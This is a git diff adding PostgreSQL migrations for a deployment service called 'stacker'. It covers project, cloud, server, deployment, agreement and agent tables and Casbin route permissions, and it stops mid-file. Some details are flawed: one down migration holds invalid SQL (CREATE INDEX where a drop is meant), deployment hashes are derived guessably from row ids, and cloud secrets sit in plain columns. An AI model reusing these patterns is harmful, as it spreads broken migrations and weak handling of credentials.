a/stacker/stacker/migrations/20230905145525_creating_stack_tables.up.sql b/stacker/stacker/migrations/20230905145525_creating_stack_tables.up.sql new file mode 100644 index 0000000..c002beb --- /dev/null +++ b/stacker/stacker/migrations/20230905145525_creating_stack_tables.up.sql @@ -0,0 +1,14 @@ +CREATE TABLE project ( + id serial4 NOT NULL, + stack_id uuid NOT NULL, + user_id VARCHAR(50) NOT NULL, + name TEXT NOT NULL, + body JSON NOT NULL, + created_at timestamptz NOT NULL, + updated_at timestamptz NOT NULL, + CONSTRAINT project_pkey PRIMARY KEY (id) +); + +CREATE INDEX idx_project_stack_id ON project(stack_id); +CREATE INDEX idx_project_user_id ON project(user_id); +CREATE INDEX idx_project_name ON project(name); diff --git a/stacker/stacker/migrations/20230917162549_creating_test_product.down.sql b/stacker/stacker/migrations/20230917162549_creating_test_product.down.sql new file mode 100644 index 0000000..eafea95 --- /dev/null +++ b/stacker/stacker/migrations/20230917162549_creating_test_product.down.sql @@ -0,0 +1 @@ +DELETE FROM product WHERE id=1; diff --git a/stacker/stacker/migrations/20230917162549_creating_test_product.up.sql b/stacker/stacker/migrations/20230917162549_creating_test_product.up.sql new file mode 100644 index 0000000..9aae3c5 --- /dev/null +++ b/stacker/stacker/migrations/20230917162549_creating_test_product.up.sql @@ -0,0 +1 @@ +INSERT INTO product (id, obj_id, obj_type, created_at, updated_at) VALUES(1, 1, 'Application', '2023-09-17 10:30:02.579', '2023-09-17 10:30:02.579'); diff --git a/stacker/stacker/migrations/20231028161917_client.down.sql b/stacker/stacker/migrations/20231028161917_client.down.sql new file mode 100644 index 0000000..800b06e --- /dev/null +++ b/stacker/stacker/migrations/20231028161917_client.down.sql @@ -0,0 +1,2 @@ +-- Add down migration script here +DROP TABLE client; diff --git a/stacker/stacker/migrations/20231028161917_client.up.sql b/stacker/stacker/migrations/20231028161917_client.up.sql new file mode 100644 index 0000000..e0470c3 --- /dev/null +++ b/stacker/stacker/migrations/20231028161917_client.up.sql @@ -0,0 +1,10 @@ +-- Add up migration script here +CREATE TABLE client ( + id serial4 NOT NULL, + user_id varchar(50) NOT NULL, + secret varchar(255), + created_at timestamptz NOT NULL, + updated_at timestamptz NOT NULL, + CONSTRAINT client_pkey PRIMARY KEY (id), + CONSTRAINT client_secret_unique UNIQUE (secret) +); diff --git a/stacker/stacker/migrations/20240128174529_casbin_rule.down.sql b/stacker/stacker/migrations/20240128174529_casbin_rule.down.sql new file mode 100644 index 0000000..ef4c417 --- /dev/null +++ b/stacker/stacker/migrations/20240128174529_casbin_rule.down.sql @@ -0,0 +1,2 @@ +-- Add down migration script here +DROP TABLE casbin_rule; diff --git a/stacker/stacker/migrations/20240128174529_casbin_rule.up.sql b/stacker/stacker/migrations/20240128174529_casbin_rule.up.sql new file mode 100644 index 0000000..ef9ddec --- /dev/null +++ b/stacker/stacker/migrations/20240128174529_casbin_rule.up.sql @@ -0,0 +1,12 @@ +-- Add up migration script here +CREATE TABLE IF NOT EXISTS casbin_rule ( + id SERIAL PRIMARY KEY, + ptype VARCHAR NOT NULL, + v0 VARCHAR NOT NULL, + v1 VARCHAR NOT NULL, + v2 VARCHAR NOT NULL, + v3 VARCHAR NOT NULL, + v4 VARCHAR NOT NULL, + v5 VARCHAR NOT NULL, + CONSTRAINT unique_key_sqlx_adapter UNIQUE(ptype, v0, v1, v2, v3, v4, v5) +) diff --git a/stacker/stacker/migrations/20240228125751_creating_deployments.down.sql b/stacker/stacker/migrations/20240228125751_creating_deployments.down.sql new file mode 100644 index 0000000..228cc13 --- /dev/null +++ b/stacker/stacker/migrations/20240228125751_creating_deployments.down.sql @@ -0,0 +1,2 @@ +-- Add up migration script here +DROP table deployment; \ No newline at end of file diff --git a/stacker/stacker/migrations/20240228125751_creating_deployments.up.sql b/stacker/stacker/migrations/20240228125751_creating_deployments.up.sql new file mode 100644 index 0000000..7a06d3b --- /dev/null +++ b/stacker/stacker/migrations/20240228125751_creating_deployments.up.sql @@ -0,0 +1,14 @@ +-- Add up migration script here +CREATE TABLE deployment ( + id serial4 NOT NULL, + project_id integer NOT NULL, + body JSON NOT NULL, + deleted BOOLEAN DEFAULT FALSE, + status VARCHAR(32) NOT NULL, + created_at timestamptz NOT NULL, + updated_at timestamptz NOT NULL, + CONSTRAINT fk_project FOREIGN KEY(project_id) REFERENCES project(id), + CONSTRAINT deployment_pkey PRIMARY KEY (id) +); + +CREATE INDEX idx_deployment_project_id ON deployment(project_id); diff --git a/stacker/stacker/migrations/20240229072555_creating_cloud.down.sql b/stacker/stacker/migrations/20240229072555_creating_cloud.down.sql new file mode 100644 index 0000000..2a04e92 --- /dev/null +++ b/stacker/stacker/migrations/20240229072555_creating_cloud.down.sql @@ -0,0 +1,2 @@ +-- Add down migration script here +DROP table cloud; diff --git a/stacker/stacker/migrations/20240229072555_creating_cloud.up.sql b/stacker/stacker/migrations/20240229072555_creating_cloud.up.sql new file mode 100644 index 0000000..c842d3f --- /dev/null +++ b/stacker/stacker/migrations/20240229072555_creating_cloud.up.sql @@ -0,0 +1,14 @@ +CREATE TABLE cloud ( + id serial4 NOT NULL, + user_id VARCHAR(50) NOT NULL, + provider VARCHAR(50) NOT NULL, + cloud_token VARCHAR(255) , + cloud_key VARCHAR(255), + cloud_secret VARCHAR(255), + save_token BOOLEAN DEFAULT FALSE, + created_at timestamptz NOT NULL, + updated_at timestamptz NOT NULL, + CONSTRAINT user_cloud_pkey PRIMARY KEY (id) +); + +CREATE INDEX idx_deployment_user_cloud_user_id ON cloud(user_id); \ No newline at end of file diff --git a/stacker/stacker/migrations/20240229075843_creating_user_stack_cloud_relation.down.sql b/stacker/stacker/migrations/20240229075843_creating_user_stack_cloud_relation.down.sql new file mode 100644 index 0000000..02d2fe5 --- /dev/null +++ b/stacker/stacker/migrations/20240229075843_creating_user_stack_cloud_relation.down.sql @@ -0,0 +1,2 @@ +-- Add down migration script here +ALTER table project DROP COLUMN cloud_id; \ No newline at end of file diff --git a/stacker/stacker/migrations/20240229075843_creating_user_stack_cloud_relation.up.sql b/stacker/stacker/migrations/20240229075843_creating_user_stack_cloud_relation.up.sql new file mode 100644 index 0000000..5f65c66 --- /dev/null +++ b/stacker/stacker/migrations/20240229075843_creating_user_stack_cloud_relation.up.sql @@ -0,0 +1,3 @@ +-- Add up migration script here +ALTER table project ADD COLUMN cloud_id INT CONSTRAINT project_cloud_id REFERENCES cloud(id) ON UPDATE CASCADE ON DELETE CASCADE; + diff --git a/stacker/stacker/migrations/20240229080559_creating_cloud_server.down.sql b/stacker/stacker/migrations/20240229080559_creating_cloud_server.down.sql new file mode 100644 index 0000000..f0fa982 --- /dev/null +++ b/stacker/stacker/migrations/20240229080559_creating_cloud_server.down.sql @@ -0,0 +1,3 @@ +DROP INDEX idx_server_user_id; +DROP INDEX idx_server_cloud_id; +DROP table server; diff --git a/stacker/stacker/migrations/20240229080559_creating_cloud_server.up.sql b/stacker/stacker/migrations/20240229080559_creating_cloud_server.up.sql new file mode 100644 index 0000000..e4ed91b --- /dev/null +++ b/stacker/stacker/migrations/20240229080559_creating_cloud_server.up.sql @@ -0,0 +1,22 @@ +-- Add up migration script here + +CREATE TABLE server ( + id serial4 NOT NULL, + user_id VARCHAR(50) NOT NULL, + cloud_id integer NOT NULL, + project_id integer NOT NULL, + region VARCHAR(50) NOT NULL, + zone VARCHAR(50), + server VARCHAR(255) NOT NULL, + os VARCHAR(100) NOT NULL, + disk_type VARCHAR(100), + created_at timestamptz NOT NULL, + updated_at timestamptz NOT NULL, + CONSTRAINT user_server_pkey PRIMARY KEY (id), + CONSTRAINT fk_server FOREIGN KEY(cloud_id) REFERENCES cloud(id), + CONSTRAINT fk_server_project FOREIGN KEY(project_id) REFERENCES project(id) ON UPDATE CASCADE ON DELETE CASCADE +); + +CREATE INDEX idx_server_user_id ON server(user_id); +CREATE INDEX idx_server_cloud_id ON server(cloud_id); +CREATE INDEX idx_server_project_id ON server(project_id); diff --git a/stacker/stacker/migrations/20240302081015_creating_original_request_column_project.down.sql b/stacker/stacker/migrations/20240302081015_creating_original_request_column_project.down.sql new file mode 100644 index 0000000..93549b5 --- /dev/null +++ b/stacker/stacker/migrations/20240302081015_creating_original_request_column_project.down.sql @@ -0,0 +1,2 @@ +-- Add down migration script here +ALTER table project DROP COLUMN request_json; diff --git a/stacker/stacker/migrations/20240302081015_creating_original_request_column_project.up.sql b/stacker/stacker/migrations/20240302081015_creating_original_request_column_project.up.sql new file mode 100644 index 0000000..2c1ba74 --- /dev/null +++ b/stacker/stacker/migrations/20240302081015_creating_original_request_column_project.up.sql @@ -0,0 +1 @@ +ALTER table project ADD COLUMN request_json JSON NOT NULL DEFAULT '{}'; \ No newline at end of file diff --git a/stacker/stacker/migrations/20240307113718_alter_cloud_alter_project.down.sql b/stacker/stacker/migrations/20240307113718_alter_cloud_alter_project.down.sql new file mode 100644 index 0000000..06f51ab --- /dev/null +++ b/stacker/stacker/migrations/20240307113718_alter_cloud_alter_project.down.sql @@ -0,0 +1,3 @@ +-- Add down migration script here +ALTER table project ADD COLUMN cloud_id INT CONSTRAINT project_cloud_id REFERENCES cloud(id) ON UPDATE CASCADE ON DELETE CASCADE; +ALTER table cloud DROP COLUMN project_id; \ No newline at end of file diff --git a/stacker/stacker/migrations/20240307113718_alter_cloud_alter_project.up.sql b/stacker/stacker/migrations/20240307113718_alter_cloud_alter_project.up.sql new file mode 100644 index 0000000..554a24a --- /dev/null +++ b/stacker/stacker/migrations/20240307113718_alter_cloud_alter_project.up.sql @@ -0,0 +1,3 @@ +-- Add up migration script here +ALTER table project DROP COLUMN cloud_id; +ALTER table cloud ADD COLUMN project_id INT CONSTRAINT cloud_project_id REFERENCES project(id) ON UPDATE CASCADE ON DELETE CASCADE; diff --git a/stacker/stacker/migrations/20240315143712_remove_cloud_id_from_server.down.sql b/stacker/stacker/migrations/20240315143712_remove_cloud_id_from_server.down.sql new file mode 100644 index 0000000..72dd11e --- /dev/null +++ b/stacker/stacker/migrations/20240315143712_remove_cloud_id_from_server.down.sql @@ -0,0 +1,3 @@ +-- Add down migration script here +DROP INDEX idx_server_cloud_id; +alter table server ADD column cloud_id integer NOT NULL; diff --git a/stacker/stacker/migrations/20240315143712_remove_cloud_id_from_server.up.sql b/stacker/stacker/migrations/20240315143712_remove_cloud_id_from_server.up.sql new file mode 100644 index 0000000..be9027c --- /dev/null +++ b/stacker/stacker/migrations/20240315143712_remove_cloud_id_from_server.up.sql @@ -0,0 +1,2 @@ +-- Add up migration script here +alter table server drop column cloud_id; diff --git a/stacker/stacker/migrations/20240401103123_casbin_initial_rules.down.sql b/stacker/stacker/migrations/20240401103123_casbin_initial_rules.down.sql new file mode 100644 index 0000000..d2f607c --- /dev/null +++ b/stacker/stacker/migrations/20240401103123_casbin_initial_rules.down.sql @@ -0,0 +1 @@ +-- Add down migration script here diff --git a/stacker/stacker/migrations/20240401103123_casbin_initial_rules.up.sql b/stacker/stacker/migrations/20240401103123_casbin_initial_rules.up.sql new file mode 100644 index 0000000..ee2cd49 --- /dev/null +++ b/stacker/stacker/migrations/20240401103123_casbin_initial_rules.up.sql @@ -0,0 +1,40 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('g', 'anonym', 'group_anonymous', '', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('g', 'group_admin', 'group_anonymous', '', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('g', 'group_user', 'group_anonymous', '', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('g', 'user', 'group_user', '', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/health_check', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/rating/:id', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_anonymous', '/rating', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/client', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/rating', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/admin/client/:id/disable', 'PUT', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/admin/client/:id/enable', 'PUT', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/admin/client/:id', 'PUT', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/admin/project/user/:userid', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/rating/:id', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/client/:id/enable', 'PUT', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/client/:id', 'PUT', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/client/:id/disable', 'PUT', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/rating/:id', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/rating', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/rating', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/project', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/project', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/project/:id', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/project/:id', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/project/:id', 'PUT', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/project/:id', 'DELETE', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/project/:id/compose', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/project/:id/compose', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/project/:id/deploy', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/project/:id/deploy/:cloud_id', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/server', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/server', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/server/:id', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/server/:id', 'PUT', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/cloud', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/cloud', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/cloud/:id', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/cloud/:id', 'PUT', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/cloud/:id', 'DELETE', '', '', ''); + diff --git a/stacker/stacker/migrations/20240401184313_remove_project_id_from_cloud.down.sql b/stacker/stacker/migrations/20240401184313_remove_project_id_from_cloud.down.sql new file mode 100644 index 0000000..3b99d4c --- /dev/null +++ b/stacker/stacker/migrations/20240401184313_remove_project_id_from_cloud.down.sql @@ -0,0 +1,2 @@ +-- Add down migration script here +ALTER table cloud ADD COLUMN project_id INT CONSTRAINT cloud_project_id REFERENCES project(id) ON UPDATE CASCADE ON DELETE CASCADE; diff --git a/stacker/stacker/migrations/20240401184313_remove_project_id_from_cloud.up.sql b/stacker/stacker/migrations/20240401184313_remove_project_id_from_cloud.up.sql new file mode 100644 index 0000000..4974d95 --- /dev/null +++ b/stacker/stacker/migrations/20240401184313_remove_project_id_from_cloud.up.sql @@ -0,0 +1,3 @@ +-- Add up migration script here + +alter table cloud DROP column project_id; diff --git a/stacker/stacker/migrations/20240412141011_casbin_user_rating_edit.down.sql b/stacker/stacker/migrations/20240412141011_casbin_user_rating_edit.down.sql new file mode 100644 index 0000000..41c5e57 --- /dev/null +++ b/stacker/stacker/migrations/20240412141011_casbin_user_rating_edit.down.sql @@ -0,0 +1,18 @@ +-- Add down migration script here +DELETE FROM casbin_rule +WHERE ptype = 'p' and v0 = 'group_user' and v1 = '/rating/:id' and v2 = 'PUT'; + +DELETE FROM casbin_rule +WHERE ptype = 'p' and v0 = 'group_admin' and v1 = '/admin/rating/:id' and v2 = 'PUT'; + +DELETE FROM casbin_rule +WHERE ptype = 'p' and v0 = 'group_user' and v1 = '/rating/:id' and v2 = 'DELETE'; + +DELETE FROM casbin_rule +WHERE ptype = 'p' and v0 = 'group_admin' and v1 = '/admin/rating/:id' and v2 = 'DELETE'; + +DELETE FROM casbin_rule +WHERE ptype = 'p' and v0 = 'group_admin' and v1 = '/admin/rating/:id' and v2 = 'GET'; + +DELETE FROM casbin_rule +WHERE ptype = 'p' and v0 = 'group_admin' and v1 = '/admin/rating' and v2 = 'GET'; diff --git a/stacker/stacker/migrations/20240412141011_casbin_user_rating_edit.up.sql b/stacker/stacker/migrations/20240412141011_casbin_user_rating_edit.up.sql new file mode 100644 index 0000000..6b435cf --- /dev/null +++ b/stacker/stacker/migrations/20240412141011_casbin_user_rating_edit.up.sql @@ -0,0 +1,18 @@ +-- Add up migration script here +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/rating/:id', 'PUT', '', '', ''); + +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/admin/rating/:id', 'PUT', '', '', ''); + +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/rating/:id', 'DELETE', '', '', ''); + +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/admin/rating/:id', 'DELETE', '', '', ''); + +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/admin/rating/:id', 'GET', '', '', ''); + +INSERT INTO casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/admin/rating', 'GET', '', '', ''); diff --git a/stacker/stacker/migrations/20240709162041_add_server_ip_ssh_user_port.down.sql b/stacker/stacker/migrations/20240709162041_add_server_ip_ssh_user_port.down.sql new file mode 100644 index 0000000..7b64145 --- /dev/null +++ b/stacker/stacker/migrations/20240709162041_add_server_ip_ssh_user_port.down.sql @@ -0,0 +1,5 @@ + -- Add up migration script here + + ALTER table server DROP COLUMN srv_ip; + ALTER table server DROP COLUMN ssh_user; + ALTER table server DROP COLUMN ssh_port; diff --git a/stacker/stacker/migrations/20240709162041_add_server_ip_ssh_user_port.up.sql b/stacker/stacker/migrations/20240709162041_add_server_ip_ssh_user_port.up.sql new file mode 100644 index 0000000..38cfc7d --- /dev/null +++ b/stacker/stacker/migrations/20240709162041_add_server_ip_ssh_user_port.up.sql @@ -0,0 +1,5 @@ +-- Add up migration script here + +ALTER table server ADD COLUMN srv_ip VARCHAR(50) DEFAULT NULL; +ALTER table server ADD COLUMN ssh_user VARCHAR(50) DEFAULT NULL; +ALTER table server ADD COLUMN ssh_port INT DEFAULT NULL; diff --git a/stacker/stacker/migrations/20240711134750_server_nullable_fields.down.sql b/stacker/stacker/migrations/20240711134750_server_nullable_fields.down.sql new file mode 100644 index 0000000..e8d6c4f --- /dev/null +++ b/stacker/stacker/migrations/20240711134750_server_nullable_fields.down.sql @@ -0,0 +1,6 @@ +-- Add down migration script here + +ALTER TABLE server ALTER COLUMN region SET NOT NULL; +ALTER TABLE server ALTER COLUMN server SET NOT NULL; +ALTER TABLE server ALTER COLUMN zone SET NOT NULL; +ALTER TABLE server ALTER COLUMN os SET NOT NULL; diff --git a/stacker/stacker/migrations/20240711134750_server_nullable_fields.up.sql b/stacker/stacker/migrations/20240711134750_server_nullable_fields.up.sql new file mode 100644 index 0000000..95931fe --- /dev/null +++ b/stacker/stacker/migrations/20240711134750_server_nullable_fields.up.sql @@ -0,0 +1,6 @@ +-- Add up migration script here + +ALTER TABLE server ALTER COLUMN region DROP NOT NULL; +ALTER TABLE server ALTER COLUMN server DROP NOT NULL; +ALTER TABLE server ALTER COLUMN zone DROP NOT NULL; +ALTER TABLE server ALTER COLUMN os DROP NOT NULL; diff --git a/stacker/stacker/migrations/20240716114826_agreement_tables.down.sql b/stacker/stacker/migrations/20240716114826_agreement_tables.down.sql new file mode 100644 index 0000000..847a983 --- /dev/null +++ b/stacker/stacker/migrations/20240716114826_agreement_tables.down.sql @@ -0,0 +1,8 @@ +-- Add down migration script here + +-- Add up migration script here + +DROP INDEX idx_agreement_name; +CREATE INDEX idx_user_agreement_user_id; +DROP TABLE agreement; +DROP TABLE user_agreement; \ No newline at end of file diff --git a/stacker/stacker/migrations/20240716114826_agreement_tables.up.sql b/stacker/stacker/migrations/20240716114826_agreement_tables.up.sql new file mode 100644 index 0000000..7b8b0aa --- /dev/null +++ b/stacker/stacker/migrations/20240716114826_agreement_tables.up.sql @@ -0,0 +1,24 @@ +-- Add up migration script here + +CREATE TABLE agreement ( + id serial4 NOT NULL, + name VARCHAR(255) NOT NULL, + text TEXT NOT NULL, + created_at timestamptz NOT NULL, + updated_at timestamptz NOT NULL, + CONSTRAINT agreement_pkey PRIMARY KEY (id) +); + +CREATE INDEX idx_agreement_name ON agreement(name); + +CREATE TABLE user_agreement ( + id serial4 NOT NULL, + agrt_id integer NOT NULL, + user_id VARCHAR(50) NOT NULL, + created_at timestamptz NOT NULL, + updated_at timestamptz NOT NULL, + CONSTRAINT user_agreement_pkey PRIMARY KEY (id), + CONSTRAINT fk_agreement FOREIGN KEY(agrt_id) REFERENCES agreement(id) +); + +CREATE INDEX idx_user_agreement_user_id ON user_agreement(user_id); \ No newline at end of file diff --git a/stacker/stacker/migrations/20240717070823_agreement_casbin_rules.down.sql b/stacker/stacker/migrations/20240717070823_agreement_casbin_rules.down.sql new file mode 100644 index 0000000..12d9b50 --- /dev/null +++ b/stacker/stacker/migrations/20240717070823_agreement_casbin_rules.down.sql @@ -0,0 +1,3 @@ +-- Add down migration script here + +DELETE FROM public.casbin_rule where id IN (49,50,51,52,53,54,55,56,57,58); \ No newline at end of file diff --git a/stacker/stacker/migrations/20240717070823_agreement_casbin_rules.up.sql b/stacker/stacker/migrations/20240717070823_agreement_casbin_rules.up.sql new file mode 100644 index 0000000..8c5c757 --- /dev/null +++ b/stacker/stacker/migrations/20240717070823_agreement_casbin_rules.up.sql @@ -0,0 +1,12 @@ +-- Add up migration script here + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/agreement', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/agreement/:id', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/agreement', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/agreement/:id', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/admin/agreement', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/admin/agreement/:id', 'GET', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/admin/agreement/:id', 'POST', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/admin/agreement/:id', 'PUT', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_admin', '/admin/agreement/:id', 'DELETE', '', '', ''); +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/agreement', 'POST', '', '', ''); diff --git a/stacker/stacker/migrations/20240717100131_agreement_created_updated_default_now.down.sql b/stacker/stacker/migrations/20240717100131_agreement_created_updated_default_now.down.sql new file mode 100644 index 0000000..d2f607c --- /dev/null +++ b/stacker/stacker/migrations/20240717100131_agreement_created_updated_default_now.down.sql @@ -0,0 +1 @@ +-- Add down migration script here diff --git a/stacker/stacker/migrations/20240717100131_agreement_created_updated_default_now.up.sql b/stacker/stacker/migrations/20240717100131_agreement_created_updated_default_now.up.sql new file mode 100644 index 0000000..a259ed6 --- /dev/null +++ b/stacker/stacker/migrations/20240717100131_agreement_created_updated_default_now.up.sql @@ -0,0 +1,6 @@ +-- Add up migration script here +ALTER TABLE public.agreement ALTER COLUMN created_at SET NOT NULL; +ALTER TABLE public.agreement ALTER COLUMN created_at SET DEFAULT NOW(); + +ALTER TABLE public.agreement ALTER COLUMN updated_at SET NOT NULL; +ALTER TABLE public.agreement ALTER COLUMN updated_at SET DEFAULT NOW(); diff --git a/stacker/stacker/migrations/20240718082702_agreement_accepted.down.sql b/stacker/stacker/migrations/20240718082702_agreement_accepted.down.sql new file mode 100644 index 0000000..fd2397e --- /dev/null +++ b/stacker/stacker/migrations/20240718082702_agreement_accepted.down.sql @@ -0,0 +1,2 @@ +-- Add down migration script here +DELETE FROM public.casbin_rule where id IN (59); diff --git a/stacker/stacker/migrations/20240718082702_agreement_accepted.up.sql b/stacker/stacker/migrations/20240718082702_agreement_accepted.up.sql new file mode 100644 index 0000000..1e01c7e --- /dev/null +++ b/stacker/stacker/migrations/20240718082702_agreement_accepted.up.sql @@ -0,0 +1,2 @@ +-- Add up migration script here +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) VALUES ('p', 'group_user', '/agreement/accepted/:id', 'GET', '', '', ''); \ No newline at end of file diff --git a/stacker/stacker/migrations/20251222160218_update_deployment_for_agents.down.sql b/stacker/stacker/migrations/20251222160218_update_deployment_for_agents.down.sql new file mode 100644 index 0000000..bd8eb32 --- /dev/null +++ b/stacker/stacker/migrations/20251222160218_update_deployment_for_agents.down.sql @@ -0,0 +1,5 @@ +-- Revert deployment table changes +ALTER TABLE deployment DROP COLUMN IF EXISTS user_id; +ALTER TABLE deployment DROP COLUMN IF EXISTS last_seen_at; +ALTER TABLE deployment DROP COLUMN IF EXISTS deployment_hash; +ALTER TABLE deployment RENAME COLUMN metadata TO body; diff --git a/stacker/stacker/migrations/20251222160218_update_deployment_for_agents.up.sql b/stacker/stacker/migrations/20251222160218_update_deployment_for_agents.up.sql new file mode 100644 index 0000000..4b876a0 --- /dev/null +++ b/stacker/stacker/migrations/20251222160218_update_deployment_for_agents.up.sql @@ -0,0 +1,19 @@ +-- Add deployment_hash, last_seen_at, and rename body to metadata in deployment table +ALTER TABLE deployment +ADD COLUMN deployment_hash VARCHAR(64) UNIQUE, +ADD COLUMN last_seen_at TIMESTAMP, +ADD COLUMN user_id VARCHAR(255); + +-- Rename body to metadata +ALTER TABLE deployment RENAME COLUMN body TO metadata; + +-- Generate deployment_hash for existing deployments (simple hash based on id) +UPDATE deployment +SET deployment_hash = md5(CONCAT('deployment_', id::text)) +WHERE deployment_hash IS NULL; + +-- Make deployment_hash NOT NULL after populating +ALTER TABLE deployment ALTER COLUMN deployment_hash SET NOT NULL; + +CREATE INDEX idx_deployment_hash ON deployment(deployment_hash); +CREATE INDEX idx_deployment_user_id ON deployment(user_id); diff --git a/stacker/stacker/migrations/20251222160219_create_agents_and_audit_log.down.sql b/stacker/stacker/migrations/20251222160219_create_agents_and_audit_log.down.sql new file mode 100644 index 0000000..c6568c6 --- /dev/null +++ b/stacker/stacker/migrations/20251222160219_create_agents_and_audit_log.down.sql @@ -0,0 +1,3 @@ +-- Drop audit_log and agents tables +DROP TABLE IF EXISTS audit_log; +DROP TABLE IF 